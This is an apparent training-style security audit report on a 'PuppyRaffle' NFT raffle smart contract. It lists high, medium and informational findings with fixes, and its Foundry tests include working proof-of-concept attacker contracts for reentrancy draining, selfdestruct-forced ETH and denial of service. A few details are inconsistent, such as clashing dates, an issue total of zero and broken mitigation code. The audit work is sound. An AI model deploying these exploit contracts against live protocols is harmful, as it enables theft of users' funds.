Protocol Audit Report

Version 1.0

Cyfrin.io

July 13, 2024

Protocol Audit Report

Cyfrin.io

March 7, 2023

Prepared by: Cyfrin Lead Auditors: - Davide Scovotto

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Davide Scovotto makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	0
Info	8
Gas Optimizations	0
Total	0

Findings

High

[H-1] The `PuppyRaffle::refund` method exposes the protocol to a Reentrancy attack, allowing an attacker to drain the Ruffle funds.

Description: The `PuppyRaffle::refund` function allow to send `entranceFee` back to a player that wants to exit the Raffle. If a player requests a refund, he is no more an active player. However, this functionality does not update the player's state before refunding the entranceFee to the player. If the receiver is a malicious smart contract, it can easily drain all the `PuppyRaffle::entranceFee` collected into the Ruffle.

Impact: The `PuppyRaffle` can be drained of its collected `entranceFee`s by a malicous player.

Proof of Concept:

The `PuppyRuffle::refund` function does not deactivate the `player` before sending him the refund, as it can be highlighted by the below snippet:

```
function refund(uint256 playerIndex) public {
    .
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active")

    payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);
    .
}
```

The `Address::sendValue` function will trigger the `receive` function if the receiver is a smart contract. A malicious receiver migth instruct its `receive` function to call the `PuppyRuffle::refund` method once again. As this second call to the `refund` function lies within the same transaction of the first `refund` call, the `player` state has not been updated yet. Hence, upon being called twice by the same `msg.sender`, the `PuppyRaffle::refund` will still not to be able to detect that the `player` is no more active, sending to the malicious player the `entranceFee` twice.

This process can be done repeatedly until the `PuppyRuffle` contract has been drained of all its funds.

PoC

```
contract ReentrancyAttacker {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
```

```
    uint256 _attackerIndex;

    constructor(address _puppyRuffle) {
        puppyRaffle = PuppyRaffle(_puppyRuffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory attackers = new address[](1);
        attackers[0] = address(this);
        puppyRaffle.enterRaffle{value: msg.value}(attackers);

        _attackerIndex = puppyRaffle.getActivePlayerIndex(address(this)
            );
        puppyRaffle.refund(_attackerIndex);
    }

    receive() payable external {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(_attackerIndex);
        }
    }
}

function test_refund_reentrancy_attack() public {
    // Let's enter 10 players
    uint256 numPlayer = 10;
    address[] memory players = new address[](numPlayer);
    for (uint256 i = 0; i < numPlayer; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
       players);

    // now the contract holds entranceFee * 10 = 10 eth
    assertEq(address(puppyRaffle).balance, entranceFee * players.length
       );

    // Let's deploy our ReentrancyAttacker and check it has balance = 0
    ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
        address(puppyRaffle)
    );
    assertEq(address(reentrancyAttacker).balance, 0);

    console.log("PuppyRaffle balance before: ", address(puppyRaffle).
       balance);
    console.log("Attacker balance before: ", address(reentrancyAttacker
       ).balance);

    // now let's call the attack function that will enter the Raffle
       and drain all the funds from the PuppyRuffle contract.
```

```
    reentrancyAttacker.attack{value: entranceFee}();

    console.log("PuppyRaffle balance after: ", address(puppyRaffle).
        balance);
    console.log("Attacker balance after: ", address(reentrancyAttacker)
        .balance);
    assertEq(address(puppyRaffle).balance, 0);
    // +1 cause of the attacker entranceFee
    assertEq(address(reentrancyAttacker).balance, entranceFee * (
        players.length + 1));
}
```

Recommended Mitigation:

The state of the `player` must be updated before sending back the refund.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

+    players[playerIndex] = address(0);
    payable(msg.sender).sendValue(entranceFee);

-    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

Also, you may consider importing the following library: `@openzeppelin/contracts/utils/ReentrancyGuard.sol`. This will allow you to use the `nonReentrant` modifier, which `Prevents a contract from calling itself, directly or indirectly`.

[H-2] Weak randomness in `PuppyRuffle::selectWinner` allows anyone to choose the winner

Description:

The `winner` is selected following the below condition:

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
    block.timestamp, block.difficulty))) % players.length;
```

Also the `puppy rarity` is also chosen as follows:

`uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty)))% 100;`

The parameters that are hashed do not produce a real random values, and can be predicted especially by miners.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` causes the protocol to lose fees

Description: The fees collected during a Raffle "round" is stored into a `uint64` variable. If the Ruffle is entered by a lot of players in one round, it can happen that the maximum value that can be store into a `uint64` is exceeded. This causes the protocol to lose funds.

In Solidity versions prior to `0.8.0`, integers were subject to integer overflows:

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. totalFees will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
```

```
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

PoC

Place this into the `PuppyRaffleTest.t.sol` file.

```
function test_overflowFee() public {
    // the max uint64 value = 18,446,744,073,709,551,615
    // which divided by 1 eth = 18,446744074

    // so fee = (totalAmountCollected * 20) / 100 has to be <= than
       that max value

    // Let's say we have 90 players => totalAmountCollected = 90 ether.
        The 20% of that = 18 ether.
    // Let's see if this overflows

    // Let's enter 90 players
    uint256 numPlayer = 90;
    address[] memory players = new address[](numPlayer);
    for (uint256 i = 0; i < numPlayer; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
       players);

    // move up 1 day to be able to call selectWinner
    vm.warp(block.timestamp + 1 days);
    // Let's call the selectWinner() function
    puppyRaffle.selectWinner();

    uint256 total_fees = puppyRaffle.totalFees();
    console.log("Last winner: ", puppyRaffle.previousWinner());
    console.log("Total collected fees: ", total_fees);
    assertEq(total_fees, numPlayer * entranceFee * 20 / 100); // 18
       ether for 90 players

    // Let's say now we have 100 players => totalAmountCollected = 100
       ether. The 20% of that = 20 ether.
    // Let's see if this overflows
    // Let's enter 100 players
    numPlayer = 100;
    address[] memory players100 = new address[](numPlayer);
```

```
    for (uint256 i = 0; i < numPlayer; i++) {
        players100[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * players100.length}(
       players100);

    // move up 1 day to be able to call selectWinner
    vm.warp(block.timestamp + 1 days);
    // Let's call the selectWinner() function
    puppyRaffle.selectWinner();

    uint256 last_total_fees = puppyRaffle.totalFees();
    console.log("Last winner: ", puppyRaffle.previousWinner());
    console.log("Total collected fees: ", last_total_fees);
    assertNotEq(last_total_fees, numPlayer * entranceFee * 20 / 100);
       // should be 20 ether for 100 players, but it is not

    assertLt(last_total_fees, total_fees);

    // Also, the feeAddress will never be able to receive the fee
       collected from the players.
    vm.expectRevert("PuppyRaffle: There are currently players active!")
       ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.

2. Use a uint256 instead of a uint64 for totalFees.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the selectWinner function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a `payable fallback` or `receive function`, or these functions were included but `reverted`, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the _safeMint function. This function, inherited from the ERC721 contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to selectWinner.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor `pull-payments` over `push-payments`. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Duplicate players check is performed over an unbounded arrray exposing the protocol to a DoS, incrementing gas costs for future entrants.

Description: In a single Ruffle round there should be no duplicate players. However, the duplicate players check is performed into the `PuppyRuffle::enterRaffle` function which loops over an unbounded array: the `players` array. As a result, the later a player enters the Raffle the more gas costs have to be covered in order to enter because more checks have to be made.

Impact: The gas costs for raffle entrants is not constant; it will drastically increase as more players enter the Raffle.

Proof of Concept:

To highlight such finding, let's assume the following scenarios:

1. There are 100 Raffle entrants joining the game
    - For the first 100 players the gas costs that have to be covered are: `6252128`
2. After some time, another 100 players enter the Raffle
    - For the second chunk of players, instead, the gas costs are equal to: `18068218`

If the `PuppyRuffle::players` array continues to grow, also the gas costs will drastically increase.

This can be verified by extending the test cases with the following:

PoC

```
function test_DoS_attack() public {
    vm.txGasPrice(1);

    // Let's enter 100 players
    uint256 numPlayer = 100;
    address[] memory players = new address[](numPlayer);
    for (uint256 i = 0; i < numPlayer; i++) {
        players[i] = address(i);
    }

    // Let's calculate the gas cost
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst100 = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas used for the first 100 players: ", gasUsedFirst100
        );

    // Now for the second 100 players
    address[] memory players2 = new address[](numPlayer);
    for (uint256 i = 0; i < numPlayer; i++) {
        players2[i] = address(numPlayer + i);
    }

    // Let's calculate the gas cost
    uint256 gasStart2 = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
        players2);
    uint256 gasEnd2 = gasleft();
    uint256 gasUsedSecond100 = (gasStart2 - gasEnd2) * tx.gasprice;
    console.log("Gas used for the second 100 players: ",
        gasUsedSecond100);

    assert(gasUsedSecond100 > gasUsedFirst100);
}
```

Recommended Mitigation: To have constant gas costs for raffle entrants, `players` should be handled by using a `mapping`. This would allow constant time for checking duplicate players, thus enabling the removal of the unbounded loop which is the root cause of such attack vector. You could have each raffle have a `uint256 id`, and the mapping would be a player address mapped to the `raffleId`:

```
    address[] public players;
+   mapping(address => uint256) public playersToRaffleId;
+   uint256 public raffleId;
    .
```

```
        .
        .
        function enterRaffle(address[] memory newPlayers) public payable {
            require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
            for (uint256 i = 0; i < newPlayers.length; i++) {
                players.push(newPlayers[i]);
+               playersToRaffleId[newPlayers[i]] = raffleId;
            }

            // Check for duplicates
-           for (uint256 i = 0; i < players.length - 1; i++) {
-               for (uint256 j = i + 1; j < players.length; j++) {
-                   require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-               }
-           }
+           for(uint256 i = 0; i < newPlayers.length; i++) {
+               require(playersToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+           }
            emit RaffleEnter(newPlayers);
        }
        .
        .
        .
        function selectWinner() external {
+            ruffleId = ruffleId 1;
             require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables attacker to selfdestruct a contract to send ETH to the Raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
        function withdrawFees() external {
@>          require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
            uint256 feesToWithdraw = totalFees;
            totalFees = 0;
            (bool success,) = feeAddress.call{value: feesToWithdraw}("");
            require(success, "PuppyRaffle: Failed to withdraw fees");
        }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a selfdestruct
3. feeAddress is no longer able to withdraw funds

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_mishandlingEthWithdrawFee() public {
    // force Eth into PuppyRuffle to break the withdrawFees function:
    // require(address(this).balance == uint256(totalFees)) this will always fail because it relies on this.balance.

    SelfDestrcutAndForceEthIntoPuppy selfDestruct = new SelfDestrcutAndForceEthIntoPuppy(puppyRaffle);
    vm.deal(address(selfDestruct), 1 ether);
    assertEq(address(selfDestruct).balance, 1 ether);

    // call attack and force 1 eth into the Ruffle (with no players entered)
    selfDestruct.attack();
    assertEq(address(puppyRaffle).balance, 1 ether);

    // now the withdrawFees is broken
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

For example, the `SelfDestrcutAndForceEthIntoPuppy` contract can be this:

```
contract SelfDestrcutAndForceEthIntoPuppy {

    PuppyRaffle puppyRaffle;
    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() external {
        // force eth into puppyRuffle
        selfdestruct(payable(address(puppyRaffle)));
    }

    receive() payable external {}
}
```

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of PuppyRaffle::fee loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's `chisel` by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can `pull` their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Informational

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                               | % Lines        | % Statements
   | % Branches      | % Funcs        |
| ---------------------------------- | -------------- | --------------
   | --------------- | -------------- |
| script/DeployPuppyRaffle.sol       | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)   | 0.00% (0/1)    |
| src/PuppyRaffle.sol                | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)   |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)    | 100.00% (2/2) |
| Total                              | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
   PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
   sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
```

```
-           return false;
-       }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.